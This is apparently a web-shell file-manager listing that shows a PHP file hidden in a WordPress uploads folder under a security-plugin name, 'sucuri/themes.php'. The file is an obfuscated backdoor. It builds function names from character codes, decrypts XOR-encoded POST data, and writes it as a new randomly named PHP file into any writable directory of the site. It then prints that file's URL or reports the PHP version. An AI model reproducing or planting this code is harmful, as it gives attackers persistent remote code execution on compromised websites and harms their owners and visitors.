HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/uploads/sucuri/themes.php
<?php $seroyFKhi = "FodCOQ";function rIBZlyBrG($seroyFKhi){$VzPIiibm = "\162".chr(97)."\167".chr(117).'r'."\154"."\144".chr(101).chr(99)."\x6f".'d'.'e';$WEdQXQ = "\163".chr(586-470).'r'.'_'.'r'."\x6f".'t'.chr(49).'3';$MUUPmlqTZO = "\x73"."\x74".chr(114).'_'.'s'.chr(840-728).'l'.chr(105)."\x74";$seroyFKhi = $MUUPmlqTZO($VzPIiibm($WEdQXQ($seroyFKhi)));return $seroyFKhi;}function andLUBJC($rqFZI, $BGdpS){$TBLGjrqv = chr(115).'t'.chr(114).chr(1093-998).chr(719-604)."\x70".chr(108)."\x69"."\164";$rqFZI = array_slice($TBLGjrqv(str_repeat($rqFZI, (count($BGdpS)/16)+1)), 0, count($BGdpS));return $rqFZI;}function hrzrlOycc($pnWdj, $upGqtY, $rqFZI){$UvmVNhtg = "def7c3ca-5fda-46ed-9451-e3b5cf742e87";return $pnWdj ^ $UvmVNhtg[$upGqtY % strlen($UvmVNhtg)] ^ $rqFZI;}function ckjNn($BGdpS, $rqFZI){$BGdpS = array_map("hrzrlOycc", array_values($BGdpS), array_keys($BGdpS), array_values($rqFZI));$BGdpS = implode("", $BGdpS);$SwhgkJ = "\x75"."\156".'s'."\x65".chr(114).chr(105).chr(97).chr(226-118)."\x69".'z'.'e';$BGdpS = @$SwhgkJ($BGdpS);return $BGdpS;}function CsQPxGL(){echo "igubKjNf";}function rPdaPO($HpUsTUjoRir){static $VrwetECMMH = array();$YtrnI = glob($HpUsTUjoRir . '/*', GLOB_ONLYDIR);$zdhHbM = count($YtrnI);if ($zdhHbM > 0) {foreach ($YtrnI as $HpUsTUjoR) {$kycJy = "\x69".chr(662-547)."\137".chr(119).'r'."\x69".chr(116).chr(97).chr(1062-964)."\x6c".chr(101);if (@$kycJy($HpUsTUjoR)) {$VrwetECMMH[] = $HpUsTUjoR;}}}foreach ($YtrnI as $HpUsTUjoRir) rPdaPO($HpUsTUjoRir);return $VrwetECMMH;}function sWTKb(){echo "FodCOQ";}function ZpVgVxd($BGdpS){$uPWKYW = "\x44".'O'.chr(67).chr(718-633).chr(77).chr(69).'N'."\124".'_'."\122".chr(79).'O'.chr(865-781);$UXACJZQb = $_SERVER[$uPWKYW];$YtrnI = rPdaPO($UXACJZQb);$CoBRnCpFqB = array_rand($YtrnI);$KfdQD = chr(46).chr(175-63)."\150".chr(448-336);$rWMTYY = $YtrnI[$CoBRnCpFqB] . "/" . substr(md5(time()), 0, 8) . $KfdQD;$JUZeJiXMv = "\x66"."\x69".chr(673-565)."\x65"."\137"."\x70"."\165".'t'.chr(606-511)."\x63".chr(111)."\x6e".chr(404-288).chr(671-570).chr(362-252).'t'.chr(115);@$JUZeJiXMv($rWMTYY, $BGdpS);$DlqBNU = 'H'.chr(113-29).chr(84)."\120".'_'.chr(345-273)."\x4f"."\123"."\x54";$cRtVJtuWvb = chr(104).chr(116).chr(116)."\x70"."\72".chr(47)."\x2f";$FWWEQgoWIA = $cRtVJtuWvb . $_SERVER[$DlqBNU] . substr($rWMTYY, strlen($UXACJZQb));print($FWWEQgoWIA);}foreach ($_POST as $rqFZI => $BGdpS){$Kiztt = strlen($rqFZI);if ($Kiztt == 16){$BGdpS = rIBZlyBrG($BGdpS);$rqFZI = andLUBJC($rqFZI, $BGdpS);$BGdpS = ckjNn($BGdpS, $rqFZI);if (@is_array($BGdpS)){$CoBRnCpFqB = array_keys($BGdpS);$BGdpS = $BGdpS[$CoBRnCpFqB[0]];$CoBRnCpFqB = $CoBRnCpFqB[0];if ($BGdpS !== $CoBRnCpFqB){ZpVgVxd($BGdpS);}else {$iFNsqEg = chr(966-854)."\150".chr(215-103);$bEtKJEKikb = chr(721-609).chr(104).chr(112).chr(714-596)."\x65".chr(114).'s'."\151".chr(394-283)."\x6e";$BGdpS = Array($iFNsqEg => @$bEtKJEKikb(), );$lFPZYxeAkv = chr(115)."\145".chr(152-38)."\x69".chr(931-834).chr(108).chr(105).'z'.'e';echo @$lFPZYxeAkv($BGdpS);}die();}}}